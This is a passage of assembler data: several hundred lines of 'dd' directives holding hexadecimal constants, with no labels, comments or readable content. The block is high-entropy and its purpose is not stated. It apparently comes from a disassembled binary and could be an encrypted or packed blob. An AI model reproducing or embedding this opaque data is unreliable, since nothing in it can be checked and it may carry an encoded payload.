0DA2FA55h, 0D56FF56Bh dd 36A28389h, 0B74C0518h, 0D3624B10h, 3932C88Fh, 5701040Ch dd 2AB4A4C1h, 0AE72B908h, 66DC2364h, 627298C2h, 0BAFE367Fh dd 3090C8C9h, 0F4C701EAh, 66606E8Dh, 0E2369123h, 2C37C9Eh dd 0EFD0D1BDh, 9F999B65h, 0DD700902h, 3159D90Dh, 8178B003h dd 755B2B7h, 999614CEh, 8FF57905h, 0A8933E81h, 86ECF12Bh dd 7DDD0421h, 1B4C9F90h, 2B739E18h, 0E3EC694Ch, 0D0EDD9C3h dd 6CCA915h, 754BBF77h, 0FFF13B01h, 0F388C001h, 99FA5AA5h dd 0E48BE312h, 461A38CDh, 235C1266h, 0C97D4CD9h, 4E7DA0E0h dd 231A52ABh, 384E0FACh, 9B5B53EDh, 1A2AB227h, 82E5BAEAh dd 0F7132675h, 69C14A5Dh, 0B871966Ch, 6FCE203Bh, 92805E84h dd 0DF667F86h, 8067F215h, 9BF64E83h, 42186C18h, 80AF62E2h dd 0B952D39Dh, 976ECAEFh, 8F401E7Dh, 99972A91h, 0DF2024C3h dd 2B4A98A5h, 73689A44h, 7D066A76h, 0AAFA2C2Ch, 3FACDC39h dd 0A200C57Ch, 2417E985h, 2AD786AFh, 9108CD8Ah, 9F66F0E4h dd 0DD95582Dh, 0D556AAE6h, 0DA1F2D91h, 0B32C04E5h, 0DC24163Fh dd 0FC1E7019h, 0F1905E40h, 555EE724h, 0A28DF3B7h, 64D7EEB6h dd 0BC647DAEh, 0E5F44573h, 65774E0h, 0C1B599E8h, 8096E9F8h dd 0A5D89702h, 1B947CBFh, 88A41A5Ah, 623C5E11h, 0E27DF7B4h dd 0F46DA7ADh, 0AC8B97C9h, 7B50319Bh, 0C3AD969Dh, 0FD527D9Dh dd 92DDEB1Eh, 0CF30552Ch, 46B86BFCh, 3853777Ch, 0D287EE87h dd 63D8D1F6h, 0AD2BBA05h, 0E40D1A84h, 0E9A03560h, 0C08B5AADh dd 0DD30E3BEh, 9AC7072h, 2211C2BCh, 1A693EC5h, 0DCDE5594h dd 9D83B02h, 0F4239D33h, 0B9EFAC04h, 0F60A803h, 691925A4h dd 0F96CA9B5h, 0EC58C232h, 713492D9h, 69767224h, 9E28233Ah dd 4CD06EDBh, 0C65B609Bh, 0CF792C3Eh, 9C523B7Ah, 3DD44465h dd 210BE33Fh, 0E18D2C53h, 0A090F6A7h, 283E9D28h, 3C2F1E77h dd 0A8A2A021h, 0AA42E020h, 0EB669ED9h, 77CFA3BAh, 4B938DEh dd 718FCA81h, 66203B82h, 7FAA38Eh, 928BDFC5h, 1609B2D5h dd 0FC13F0CBh, 7541657Eh, 4AAD6086h, 8FA7BAA7h, 3532BCAFh dd 481F3B87h, 3C7BEBC4h, 1264A998h, 99175A68h, 0F08A7C69h dd 32BA14ACh, 0F9647ADEh, 0B97189D7h, 0D1B36062h, 5EB4F70Eh dd 0A591AAC4h, 0A4C34663h, 48AE0CA1h, 0C8F860DFh, 529BF576h dd 0EBB98BDCh, 0E6ECA3F0h, 0C2FF1B0Ch, 9EE2F19Ah, 5B0E549Ch dd 1ADDCB29h, 4F8491A1h, 0CB2CE972h, 6F42E0FBh, 0B8AE6121h dd 11D6A316h, 8EAA24AFh, 0B8116BF1h, 0BFD9EE09h, 5ABAEB9h dd 0F69518A5h, 8FE886h, 47811970h, 0DCDD8D2Ch, 0CE2A6F74h dd 644D8429h, 956D2E9Ah, 76F6801h, 52FD219h, 38C0304Ah dd 7BE31D8h, 821E996Ah, 822CC302h, 0D3737809h, 0F5AB3B85h dd 4E9F4070h, 72C54417h, 1B59A7FDh, 3BBB9933h, 80A1DD92h dd 57C612E2h, 0E9361689h, 0B666A98Bh, 0B273F926h, 0A9847395h dd 2F85742Dh, 0E89FB257h, 0FEAB71BCh, 660F96CAh, 30BAF22Dh dd 0F2B21B1Fh, 50918310h, 39F30B81h, 0FC3EC4BFh, 4BFF2230h dd 58184087h, 0C19C9295h, 0EC494772h, 39DFFF87h, 0A0DF6632h dd 29FF6F5Bh, 0F63EFFDEh, 0A9503F44h, 7ECC89B6h, 0FFA9CC85h dd 0CE9FB8DCh, 0D6931293h, 6A300E10h, 30C30DB3h, 0B0F730F8h dd 1A4EF6D3h, 3A3C59ABh, 55BF63A4h, 3996C051h, 53F3EBD4h dd 9F04B85Bh, 0D5B4CF50h, 0E45C2432h, 3A586DF2h, 0D0C6DC36h dd 8282BFAFh, 0D3A636CEh, 7EEA3233h, 72E63F20h, 0BB481170h dd 0F1986ADh, 8E526E64h, 0B3840272h, 717639F3h, 2378F2C4h dd 0E37ED227h, 36883D6Ch, 0F9D3E651h, 31D10EDEh, 6477E9B5h dd 0FB225662h, 220CA6C5h, 18A59BE3h, 0A7B6D8F0h, 63F01380h dd 7841AB59h, 487366A4h, 0E8A22254h, 270216CBh, 0CFE32034h dd 2C1C341Fh, 74F9E849h, 0EDBF9EFFh, 2B979C78h, 441ABDE6h dd 76B80EDh, 66FC7198h, 18B3B01h, 719E4BAEh, 0FC9592DFh dd 0BE142A77h, 2D0D0706h, 55056568h, 0CFDBEC15h, 9E67E7B3h dd 0B51B0D24h, 53169E88h, 0E1E01747h, 6BE31132h, 116DEEABh dd 0FE0E90F2h, 167A52BCh, 0FAD2A5A3h, 9C96C17h, 859F39D7h dd 6A294105h, 0D1AA5481h, 234F088h, 8DF91D86h, 217D2E1Fh dd 7DB0B5BCh, 633BE227h, 0C540AAF2h, 6E7A5D45h, 256FA61Eh dd 10629F62h, 0D8EE737Dh, 402AFBC6h, 0D24019B7h, 0CE859EDBh dd 0A888D6F9h, 7A081306h, 0A632CE75h, 0A789BA1Ch, 113E9105h dd 97C89F18h, 63B95E55h, 0B889BF6Fh, 74F0C88Fh, 7798843Fh dd 652840F8h, 0B70C0727h, 0FEDB4144h, 7B68E2A4h, 0AD30795Eh dd 5DA0376h, 0FC712A91h, 567F0C5Eh, 0B749BA0Bh, 18C11F1h dd 0AF1ABA30h, 300C0FBDh, 0C58A9513h, 80030E2Dh, 35E25B7Bh dd 59E7C5CBh, 732114D4h, 67BBE338h, 9F713B66h, 0CD9EA0F5h dd 1105B2B3h, 0B7FD8537h, 0C399C6F0h, 0B828C9F7h, 0CD5B008Eh dd 3640B9D0h, 256EB6DBh, 45F23DD5h, 0A0492C90h, 0D436A14Ah dd 0AC8CF3B7h, 0A110CB61h dd 0B053A50Ch, 0B5C78063h, 0F8570D44h, 0F6B145CCh, 0DC55F2C4h dd 0E81E856Bh, 256AC45Ch, 0D88BB736h, 18D2C1C4h, 8F8189A0h dd 1083F0AAh, 1C012337h, 6EE966ECh, 48B08BA5h, 0F555FC1Fh dd 5529EAF1h, 19A7F5B1h, 4D06DE9Dh, 573A7562h, 992A4EAh dd 0BF79F415h, 0DD29A119h, 3AF42506h, 9222B333h, 0B3DC509h dd 0A711B091h, 496563B6h, 22699ACBh, 98714E31h, 4B4CECB0h dd 0B9CCB5B0h, 0E340E0B8h, 7522C94Ah, 0B8769E5Ah, 907CE922h dd 14AC0454h, 569C9A59h, 0EECC103Ah, 0A55BBBE8h, 0CA9CE609h dd 2676B142h, 549BB8B9h, 0A2CFF572h, 8DCD1EDFh, 4960FC0Eh dd 64020DB4h, 2664F39Ah, 6FBC0BBFh, 9AF6BCB0h, 0CBAD80F8h dd 37BFF5E1h, 6714C7BCh, 0A4A1CDCFh, 2F12370h, 0AE49A324h dd 387E4DB1h, 287D2452h, 0BDFAFD3Ah, 0B03BFA51h, 6EC008AAh dd 0C5855FFFh, 1E12CED5h, 3D0B5FFh, 0D7E3429Ch, 6D13A40Eh dd 95F26E4Fh, 1B94923Eh, 688D19F8h, 7D774DA4h, 0AB1416AAh dd 0C62C0E2Bh, 0ADB9C933h, 77A96440h, 31A7479Fh, 5B69B531h dd 9CB86C7Bh, 8460D4EAh, 0AA1D6728h, 0BA1A5512h, 54535194h dd 5FA39A60h, 57B1649Ch, 0EE8BD694h, 9BFB0715h, 99FE3D21h dd 2DB7EEB7h, 7E8A3A4Ah, 11421744h, 0DC7D9E3Ch, 0E64E3563h dd 413627B8h, 8DFD8A2h, 4FABFF66h, 7167D7h, 62050C01h dd 70299255h, 0CC6BD066h, 481C32F7h, 0BC88FF71h, 0EFB98827h dd 6DF0B0B8h, 70130A6h, 1D45F950h, 764798C5h, 31871DA6h dd 0AA78F849h, 0DE790B0Ah, 91C4006Ch, 3EE235B4h, 0DF389593h dd 0E9F6E95Ah, 9E3C361Ah, 1A9A823Fh, 0FEA9D6DFh, 8A979F58h dd 93BC4F8Ah, 88ADD068h, 796F8DDFh, 293557BAh, 97A75BEEh dd 64FCE562h, 0D5D40483h, 0F705E2A4h, 0AF5BB6CCh, 0B2791D7Fh dd 33FC57D8h, 3977FAA0h, 13F02542h, 4DCBB694h, 0ACF889DBh dd 5AD16B0Ah, 6EB60F99h, 55D8586Fh, 19E3A47Bh, 0EDB6EC31h dd 0E656FD53h, 5E1E0B21h, 0AF8A40ADh, 2ACCBBA9h, 6355E23h dd 0F75B6C7Fh, 92CF789Dh, 4A31B22Ah, 58EEA136h, 0A154D980h dd 0B8C62817h, 409F528Ch, 0B4A7B74Eh, 77EFCDABh, 9113FC87h dd 9DCA27B8h, 45E4F8Dh, 0C4F26B34h, 0BF919C1Ch, 2668AB8Fh dd 91710670h, 0D86FAC51h, 0E12C2CD7h, 89AC18C4h, 0FE81B9C9h dd 0A2B684F8h, 8A076A45h, 0E63116Fh, 8B5A4694h, 66BCD810h dd 825987CAh, 201F555Ch, 0B6654A69h, 0A73CED08h, 9800D26Dh dd 0BB32AE20h, 2197CEFBh, 13F69B09h, 0BA6E1665h, 0F21E76DAh dd 39A76A11h, 4261C08Ch, 0F6393FF7h, 0FF7AE70Ah, 5F27B287h dd 398777E0h, 898FF8BAh, 0FABFFC4Ah, 0DBB70EF6h, 0F14E49C5h dd 844288ECh, 0DBC34345h, 0BD2E8A8Ah, 0D7E923FFh, 0D4FBCEA8h dd 0A1AA4F59h, 6565105Bh, 0A184860Ch, 0E42D0F3Dh, 2F3257A7h dd 7D576B55h, 0D3CA7C28h, 5362EBC6h, 0A466A8B2h, 21D77E36h dd 0D18D9EBDh, 93E0C2E6h, 0AFE5F6F1h, 176F3375h, 0E2896577h dd 0CE3B6370h, 3B341D9Ch, 17C4B2F5h, 6BA6EC42h, 0E062190Dh dd 0E2E157C5h, 0F95D0F85h, 8B25ED9Ah, 377A2407h, 73FFC4F3h dd 670D741Dh, 1CABAB0Bh, 0E7F054D8h, 377504FAh, 9FFCFF15h dd 9AF11C7Ch, 474A00C3h, 0D232F2AEh, 0F7555B4Fh, 0E8C815C4h dd 6A1529BEh, 5E106B91h, 0B2CD2A8Eh, 0F504FA09h, 6E828AF2h dd 80EBE936h, 43719C11h, 492328A3h, 98BF49FEh, 629449DBh dd 318D65EEh, 5A578C87h, 0A1DA3E14h, 0E1BEBF76h, 0DEE38DF9h dd 0BE74CB7Bh, 0FA39D2F4h, 985F7DFBh, 4CEB8834h, 888288DEh dd 37AFC281h, 13D8461Ah, 27002631h, 7CD9B65h, 90223DB6h dd 14CC9F8Ch, 0FFD54928h, 5A4E44Ah, 93CA7FEDh, 1437C9A4h dd 0C9023D9Ah, 7FB6CAE4h, 9CD432B3h, 0AFDA6B90h, 0BD6B980Dh dd 0FD9ABE00h, 0BD92F72Ah, 0F35A7EEh, 67406662h, 747F486Ch dd 6818D8F4h, 9B386E92h, 0C483ED8h, 0CA0542D1h, 847520F0h dd 0ACE3E967h, 0DAD5430Ch, 1FBA7A01h, 0C4993233h, 36661525h dd 983260A1h, 0BE28E4D9h, 6FD84F7Eh, 0DE8AE81h, 91902667h dd 0AD9FD2Dh, 4A7284C2h, 9989DA16h, 44BE0F99h, 3F8B2BEEh dd 0D6DCF1A9h, 0B20E530Ah, 228C794Fh, 2225D16Bh, 0FE1F6088h dd 0B9679871h, 60561931h, 33DE27Ah, 7B8D98A1h, 0E49EB936h dd 0C30D1C03h, 667AB1A4h, 19B02C34h, 0AC731B28h, 5F26A99Ah dd 58E60E63h, 0BB72F93Bh, 525CCA88h, 127FF903h, 108266BCh dd 3F84D848h, 5BC17E1Eh, 7C33C28Dh, 3180C4EDh, 0E86D44ECh dd 0F22E2DC7h, 845122E7h, 79B0141Ch, 0F45EE330h, 0E06BC427h dd 5DD6EECCh, 93AEF868h, 0C71063F5h, 212A17FFh, 6DBA35C4h dd 489EBBC6h, 6F5BB121h, 0F1076AD9h, 0DBD15D77h, 4318C20Fh dd 5320BBBh, 23862F6h, 62E3EB87h, 337A4E8h, 80D22483h dd 7AC42D78h, 1F8222A9h, 0CE8DF03Dh, 0C0D694B1h, 9023725Ah dd 4F134A97h, 1FDB5BCCh, 841F73Ch, 10D1E39Eh, 0A6139F08h dd 0D7734351h, 66CC25D6h, 0E056BA9Ah, 0FE7DFD1Ch, 0D1BFA28Ah dd 95AF85DDh, 8498CFD9h, 675953B6h, 2FEA6F2Dh, 0DB5FCDFDh dd 980EEE3Fh, 7F9F7B2Ch, 38C73D58h, 3BFDB902h, 7D260236h dd 27D8201h, 93733009h, 3D56B2F4h, 0A42178BAh, 5DC26320h dd 0A46344F9h, 0F9059423h, 0C31839ADh, 394BD439h, 9BC36D4Eh dd 0E79AD90Ah, 0B6F4194Ch, 0A782DD79h, 1530CB47h, 0C0D26583h dd 0A9E5A870h, 1E394188h, 44178540h, 1E33B7E3h, 0F86525FDh dd 0EEC3ABDDh, 2282CF83h, 0D662E625h, 90BFB947h, 0AC03D063h dd 0E40E17BDh, 2D142A73h, 0E8E50100h, 3E008051h, 0F261A5A1h dd 0DFF52F0Ah, 9FD7E70Eh, 5455E0FDh, 97D319E4h, 0D5792B4Bh dd 3AE072F3h, 0F69D8980h, 35BF7C7Eh, 0BF5AF046h, 3A500CE0h dd 54A0C193h, 52674E8Eh, 0B7ED3D66h, 44E0F78Ch, 30EE09FFh dd 8AEC0149h, 0B5BE8FACh, 4A321FCBh, 0B2C088E1h, 0DB666C3h dd 0AE45418Ch, 77F17790h, 0B1898D1Eh, 0EAE0A943h, 4B195052h dd 6E201BAFh, 9547F074h, 4DF82364h, 0E1D9F47Ah, 0BADE7500h dd 9384138Ch, 741A779Fh, 36A78C6Ah, 0A99D8380h, 47EE58FCh dd 3AF9D4BFh, 5DEC584Ch, 90F16EFFh, 23090DB5h, 639819Dh dd 0E71E3F9Eh, 8F40C291h, 49752CFDh, 70B293ACh, 0E996B03Bh dd 41010378h, 3071A95Bh, 77B4C33Fh, 322FD94Fh, 1F484564h dd 0D479F6D1h, 0FA05C52Ah, 111DCB59h, 0CE2881A5h, 44BE43BAh dd 0BB7067B3h, 84BDD975h, 8A584F13h, 0F11A863Ch, 18D0564Eh dd 22D8B880h, 72FF5156h, 6EF527C3h, 1DFBC3C4h, 9A9D9E82h dd 83078881h, 0D582BE7Dh, 0E516667Eh, 0FFBFD49Bh, 9E2811A3h dd 6BD4FFD9h, 5499ACAAh, 0FD3CCAE6h, 8911267h, 29516F6h dd 2DC25E21h, 0EE71D75Fh, 21F30F46h, 0EA79D999h, 84AE7D82h dd 1D22EA8Fh, 0E719BFD7h, 0F033E641h, 735C31C8h, 4C824A6Dh dd 83F9588Fh, 1388AE77h, 0FC187D02h, 75F80EA4h, 0F61FFE7Dh dd 5CED5CA4h, 0AC134279h, 9922C345h, 79437275h, 9A8ADB7Fh dd 60E1B486h, 0ADB310B9h, 0E086EE46h, 53ADFCAFh, 4CA51A53h dd 2835EC95h, 2AB714D0h, 4F3F1026h, 0B77265C1h, 43C6666Ah dd 0A1F26D21h, 0D0D0602Fh, 6300E40Ch, 0E068D76Eh, 4F8F3F1h dd 5E37EC39h, 0C3EA35D7h, 9C5C7EE0h, 0E5FF2477h, 0F7BD61F9h dd 8B7DBD5Ah, 78D67825h, 4A547AC2h, 73DD2C68h, 1096C4C0h dd 0AF20BC8Bh, 0A3EE3032h, 842B18A7h, 89259557h, 3F684E82h dd 0C2C8904Bh, 4F6D2129h dd 7FD82B3Dh, 0A37680D0h, 5DB4D09Ah, 0F621DC8Ch, 488AB214h dd 20321C28h, 2637E4D1h, 65062495h, 2C621CD0h, 64A6AF3Fh dd 9DCB2F4Bh, 44667647h, 0C9F951E9h, 9C3F774Ch, 58703D3h dd 4869C14Ch, 0BA6E3988h, 44995864h, 326557CAh, 0B2B6B815h dd 0AF30795Bh, 0DA0D7F3h, 5D0C653Bh, 9151F2C0h, 0CFE2983Fh dd 70C67A73h, 20450B99h, 0D8C8B963h, 0D66CCBCFh, 0D742F9F8h dd 95BFFE97h, 61AE893Fh, 0F87C2C02h, 0AE649978h, 82065325h dd 0B1AA5876h, 0B4E95C69h, 5E88AB1h, 0C62DE47Dh, 0A920BCF7h dd 0F9953D96h, 1A60670Dh, 0B024A652h, 0D5D6FEE4h, 7837B911h dd 68A73C32h, 0A2265E35h, 7D3F38D8h, 0E8651D2Dh, 63F76C7Ah dd 9E0F1548h, 658DED96h, 3DE9EE49h, 0EEC50A1Fh, 4496A487h dd 9CB7CC1Bh, 0BCF934DCh, 4C15C426h, 0A555C319h, 0A9662B42h dd 4E3D6D7h, 25FB8BBCh, 0E0C80317h, 0F4737B3Ch, 0B85A43Ch dd 76FAAE3Ah, 8FC24866h, 0A05E8AB9h, 3D8C546Ch, 0EBA63204h dd 0B500D91Dh, 0B1532179h, 3E8E9875h, 5D1FB1AAh, 4CB1F3B0h dd 0BFD67ADFh, 0BEE73533h, 0FAB7050Bh, 0F0C70506h, 703442A0h dd 2DA09A83h, 0E0000518h, 651EC901h, 2861CF3Ch, 0FB203E28h dd 0C9638B8Ah, 0CA7630EAh, 9A7A21DAh, 0B072C85Ch, 0BA0602AAh dd 19879CBBh, 1AFCFAFFh, 0D8800827h, 119263F7h, 0B5C545E9h dd 0E277D86h, 0B84115FBh, 0B3C31F51h, 0C32253B8h, 0F9BD39E8h dd 72A09AB9h, 86AD782h, 0E928BB25h, 0E568585Eh, 59205379h dd 82D22758h, 0A186200Dh, 0DF538B6Bh, 0D48ABDCAh, 5DEFD800h dd 6FB7AA2Ah, 0B2A195A1h, 48F768B1h, 2B4C6C8Fh, 3DFA3DC6h dd 0D33CA8CBh, 5D1120Fh, 0D1FFE4F1h, 9257FA3h, 35D450FBh dd 0D50EC4A2h, 497F442Dh, 3536A126h, 0AE67B924h, 0C4090635h dd 0A92C1F90h, 4E07361Dh, 16A21CD8h, 9D488C66h, 0A4EE90A6h dd 0F200C6D5h, 0A9391351h, 0C103A725h, 0D86D7EDDh, 0A9A8EF35h dd 71114229h, 8836728h, 2FDB5D8Fh, 7E329DE2h, 0F207631Eh dd 19EA6800h, 602E0E1Bh, 9FE82E5Fh, 3FD35D31h, 370F8B99h dd 1AF4C324h, 0AE8E61E8h, 0AC3106E9h, 8505370Fh, 2303416h dd 0D48B3A17h, 0C180A8DCh, 859FCAA0h, 0DDC5328Dh, 6992D43Bh dd 0C2F5EE60h, 29F56C4Fh, 83E4C30Dh, 3EDE24ECh, 9AF52E39h dd 3CB855FDh, 0E2283C93h, 0D7D1959Ah, 0D2D43614h, 36DA01Eh dd 114FD65Ah, 0BA96E072h, 59ED1C18h, 3D32203Dh, 88900542h dd 0C35577F5h, 9D55044Bh, 4009ADEh, 0D8EEA4BDh, 5122B9BAh dd 0DC6DC6A4h, 0F2DF2736h, 8DC4DB38h, 63F49EE7h, 6EF0EF05h dd 6E8C06E2h, 0E9719A9Bh, 6708014Fh, 0C5C2AB38h, 7BEE2C14h dd 86B61668h, 3A43D0A9h, 0B8DCD94Ah, 4446F860h, 0BA76231Fh dd 0C9161F46h, 793346B3h, 5458D97Ah, 1B114DAEh, 27354E24h dd 9C68054Ah, 0E6928656h, 61270F22h, 0C9FF9CC4h, 4E03A17Eh dd 17F0B561h, 0EB8587CBh, 3131FCA4h, 0D0713739h, 7670D947h dd 37509BBCh, 0BD26FAB5h, 3DD9DC16h, 870B90DFh, 6B67C7D6h dd 0A78448E3h, 0F5D2E58Ah, 370F7BC8h, 7C140EDEh, 0F57C0D38h dd 4F00499Fh, 651DE974h, 5E8E3FFh, 0C11E39D8h, 65F538ABh dd 1BDCEDCAh, 0DE0F7CAEh, 0FD964D12h, 0BEA22C0Ch, 0D8B24AE6h dd 0F4D053EAh, 2F6DFBFFh, 5A12FC99h, 0F8591EFAh, 0E47305DEh dd 0AA65C5EEh, 86514236h, 0C3AAE51Dh, 79F76481h, 879BF1Dh dd 2538184Bh, 94D1B94Fh, 6DEC014Ah, 0C6585C47h, 0A64D4EE1h dd 0C9B4F49Ch, 5B9C945Eh, 0D5F84A39h, 550DCA19h, 0E3BEF931h dd 92A03F76h, 60305422h, 8A740E3Bh, 9835D360h, 7F9A11E5h dd 37E8E49Bh, 7B634E3Fh, 3E6F73Fh, 1A20E274h, 0CD6EDFB8h dd 55644022h, 9E31C01Bh, 0F2AFFBE3h, 4104A9EBh, 0AC6C1228h dd 4DC8BC17h, 53982022h, 10BEB027h, 8BA3E11Ch, 18B0F8EEh dd 38DF2259h, 0FC435215h, 0C0210224h, 0A44DC773h, 12235602h dd 38537C13h, 3686E57Eh, 1F18F2Fh, 16D4BCCAh, 0C43BC07h dd 17BADDE6h, 1AB63141h, 2C019A77h, 6303EAE7h, 0DF1B6C2Eh dd 5A1C2F96h, 4869039Ah, 0F7F22B62h, 0C0E531AEh, 0FD116363h dd 0A4914CA0h, 5B5173B7h, 98529EACh, 6B615776h, 0B845DC1Eh dd 9A4F7BB9h, 0BEE39AC8h, 45FA6A96h, 15E7DED7h, 0E682B2BDh dd 80B82894h, 0C0C2308Ch, 0A307ECEFh, 5548E29Ah, 1F898B59h dd 988E0CFBh, 0A68F6751h, 0A4336CC6h, 757BB202h, 0E8C012F3h dd 41D1EC11h, 6C8874C9h, 0D87686FFh, 0DACE4ED8h, 0CDAACD8Bh dd 18B2CDC6h, 0B00D854Dh, 0A89FA9C8h, 45C0C4E2h, 0EDA1B7A1h dd 5B201F32h, 0FE7E7267h, 24C0A94Ah, 9A2616C7h, 0CED084A8h dd 0A052C0F7h, 0A14C11Ch, 0C91438ABh, 7A6D5251h, 0D767B998h dd 0A21EFF75h, 12F745E6h, 1F26678Fh, 0F343F58Dh, 15C1D332h dd 61EEC7FDh, 494CA92Dh, 8EA051B8h, 0AB392AACh, 67D1E4FAh dd 0A599ADDBh, 90EFF103h, 0DDACB37h, 0B6054876h, 77E0455Eh dd 0C94750F3h, 71CE6B72h, 0A84B8A82h, 0C52378CBh, 0F6A1D3C4h dd 77CC3045h, 52B0DCh, 4A24BF6h, 0FF90B281h, 9DFB52ACh dd 35879133h, 17AADF4Dh, 5CAE3CD7h, 0EB3F0B4Dh, 73BE6DD7h dd 0E8628FC8h, 3A99ADE4h, 18F0A199h, 447BE33Ch, 0EADB0DF1h dd 5D67A928h, 76D12551h, 0BA0917DCh, 8DC3D440h, 433E7F99h dd 0A1E01BB8h, 3E65F68Eh, 0AF8D4A5Ah, 0E51F69A3h, 5368D97Dh dd 44D5856Ch, 0E15FB74h, 86ABC155h, 67FF367Bh, 0F198BAFCh dd 9A0CA5DAh, 848FCA98h, 6EFB0A3Ch, 106638F3h, 8E7D68CAh dd 9B364853h, 0FC0F6ABh, 12517CD1h, 99A4D0CAh, 0AAE86C40h dd 4EE11B24h, 0AC3D9B2Ah, 12B959B0h, 61630668h, 29ED6AFDh dd 73170E74h, 669F60F1h, 12CDABD3h, 0BA14F36Fh, 25EA8F27h dd 165BA813h, 0EFF49ABBh, 0FAC9F4F2h, 0A92DE3CAh, 98E1F35Eh dd 0B7CCE463h, 0B618257Ah, 36519F7Eh, 5568430Bh, 0E3C032E9h dd 2945522Dh, 2B1AE55Bh, 108D4848h, 0E1D374ABh, 48E654E1h dd 91BEA38Eh, 7C3276F3h, 2220F826h, 631972CBh, 661747A8h dd 47F7F2A5h, 0B4702B82h, 997A0A56h, 0C7874D21h, 0DABFD6CCh dd 0D0B33869h, 608FD21h, 0A9AB6C7Dh, 5471BE6Ah, 0A471FCC7h dd 7D81263Eh, 3F1B1935h, 3F92E2D8h, 589990B7h, 62428F2Ah dd 0BD7254ACh, 0B9A612B5h, 3441D87Ah, 0CE677B30h, 0D6A8E674h dd 0C6D983C8h, 8C9E864Bh, 866BBFA7h, 0C350A1CEh, 0CA95ABBEh dd 0D498782Eh, 0E71CF1B8h, 0D4B6C567h, 4444CAE5h, 62A2346Eh dd 0F3BE116Fh, 43C04B9Dh, 0E3710497h, 0DFC01D1Ch, 0D3E165F0h dd 0F3C1C038h, 7A9C15E6h, 0B0368493h, 0C8231CC9h, 0EA030D85h dd 88E434ABh, 5CC3AB17h, 632BF02Dh, 0DDEB575Bh, 5340C901h dd 304C2279h, 49172E65h, 0A64371ABh, 482826CBh, 59EA2588h dd 470ED660h, 1BFFB3CAh, 1C995775h, 38EF7CD4h, 52498E63h dd 0FAE77AD9h, 71C61950h, 43712959h, 0F6B1AF1Bh, 0BDE66BE5h dd 2DFB7617h, 8CFF5EB7h, 0E4912F08h, 0BF9502D4h, 0DEDF4895h dd 62DC1965h, 0EECDF7E0h, 62DB5D6Bh, 0E8B3831Dh, 59C9DF68h dd 0F17DA040h, 0CAFF7D4Eh, 3E516878h, 64E1917Eh, 4D279332h dd 0BA2136E1h, 59C3EA86h, 27C33F15h, 0A24F4066h, 0F3A3739Bh dd 0DD0533CEh, 0EE713A7Dh, 44493E6Ah, 3112BE19h, 0FFAFFE5Ch dd 91A0F0CBh, 898CF166h, 0B27549F8h, 3CBE0FB0h, 0A681A822h dd 0BC98CF1h, 1F8A85A9h, 7DDC209Ah, 0D86DE26Fh, 0E4ADFE9Bh dd 5347968Fh, 57EEF043h dd 846195CAh, 14E175D2h, 0BDF888A3h, 5FA048C3h, 6CB88CE5h dd 0B11F74E0h, 0A13E1397h, 1CC8A6C6h, 806B5226h, 2D4A8FCCh dd 1452728Bh, 0DBFC8DDAh, 71BD86A6h, 0FD2B8529h, 5A95FC35h dd 0F341DC17h, 44C4A58Eh, 2086DF96h, 57470785h, 13F1ACA7h dd 6F6475BEh, 0D003B230h, 0F31BE63Eh, 0BB54F193h, 28E5F07Ch dd 74A423B1h, 0DE0891A5h, 79805C90h, 145FE85Fh, 0CD455CAEh dd 0E979382Eh, 767E6DB0h, 9590F4A5h, 0EF8CB43Bh, 152A9664h dd 0BBF8886Ah, 6F7C1276h, 0BE76188Ch, 0C3055ABh, 0B18A03E2h dd 0A838DA6Dh, 7F0D189Dh, 69B02486h, 3CA4A32Ah, 2DF07126h dd 72EE26E1h, 6285EB86h, 61CFF816h, 0DCD0F1B6h, 0B4857D8Bh dd 0E1429D64h, 9EB6A16Fh, 0D050C270h, 0EA04210Bh, 0EACCF6A3h dd 506657C3h, 0E36A269Eh, 0C6190903h, 1EBD2B45h, 46795BDAh dd 9C4C7358h, 0F2DD07ADh, 3CF3A82Bh, 560B99C1h, 26CE90AAh dd 69EB6F77h, 812BFA26h, 0BB1FB793h, 37A6E86Fh, 5B8CC9E1h dd 5C046F15h, 33ED8F74h, 63825328h, 0EC673791h, 4A368E3Bh dd 1687C778h, 0BB56880h, 905C56C6h, 0D803227Bh, 1EF9DC7Dh dd 0FC01D816h, 8C8EC676h, 59EA247Ch, 950B6566h, 96E7DC8Dh dd 0C4075BE2h, 0D17C0F98h, 0AD3748ADh, 0C9A50B84h, 0B0E09C9Bh dd 1998698h, 42A464B3h, 0DE956EB4h, 8D36D26Fh, 0F051A264h dd 0AFD146B4h, 8D7DE125h, 0EAA4A9A5h, 2B9CAFEh, 3A72769Fh dd 56CF3EDAh, 55EAABD9h, 0FCA07221h, 38745E88h, 4EF222AEh dd 0D1B4D1A1h, 81BCAD85h, 186FBE9Eh, 3ABD1421h, 0BA7F9BFBh dd 0E51F02FEh, 0FEE93EEAh, 0ABDA498Eh, 2F729ABAh, 2CF109DEh dd 89215A74h, 4EDC65C2h, 46CE8F06h, 0EBEA282Bh, 0D4227093h dd 0D63A4C3Fh, 0F35E07C8h, 0B01A42ACh, 0D5D6B1DFh, 9DF4C798h dd 0D1F22F41h, 88A9E33h, 2B0935D2h, 71D98F10h, 1EA11E5Ah dd 0AC545B36h, 6FB2F5ACh, 4650AD0Fh, 64420B05h, 6D8542EFh dd 0B81EAD61h, 0CD78F001h, 0ACB5F227h, 24CAF06Eh, 4CD16A98h dd 57326BB6h, 0F47C4519h, 0A1432AF7h, 39F9937Ah, 3C83987h dd 66CFBE68h, 0C95C14BAh, 2E068D1Eh, 28396E00h, 82303B50h dd 87B3059Bh, 0C6B30127h, 12CC2345h, 0A8011CAEh, 74B54E01h dd 94943148h, 0B0D6A30h, 0FB282D48h, 16D722DBh, 0C6B53919h dd 0A19C2D00h, 1DBDE2E9h, 0A1D8FDE2h, 44B6A142h, 0A625237h dd 139B7662h, 0CEAC71C8h, 788D0B28h, 12FAF96Bh, 8085EFBBh dd 0EBB7AC6Eh, 8F76E29h, 6C986CBBh, 520F1223h, 0C80DCCFFh dd 0DFA21CDFh, 8E5BC70h, 0B47F004Ch, 82332117h, 0E10901F1h dd 45367ACEh, 6422F49h, 6C84032h, 0EB899450h, 19D16BBDh dd 833D4FD2h, 0EF45100Fh, 0AFBD5372h, 0B591C16Fh, 0D5986A69h dd 766744ACh, 16ECA6C7h, 5B92A196h, 1D3301D8h, 3E2F8DBEh dd 34D7C20Ch, 85C0DE5Ch, 0E52F7355h, 6C1EC6EFh, 35FA29CCh dd 13CA9910h, 72BB11DFh, 92E05E9Ah, 9AE5EC18h, 4C1DFDDAh dd 31C1E88Ah, 0EBA26272h, 98E43A18h, 9335BA13h, 0FF6B1257h dd 0AF9988FFh, 6A41B796h, 16FA22A0h, 0B9B0F773h, 6E2A0B4Ah dd 81DA9937h, 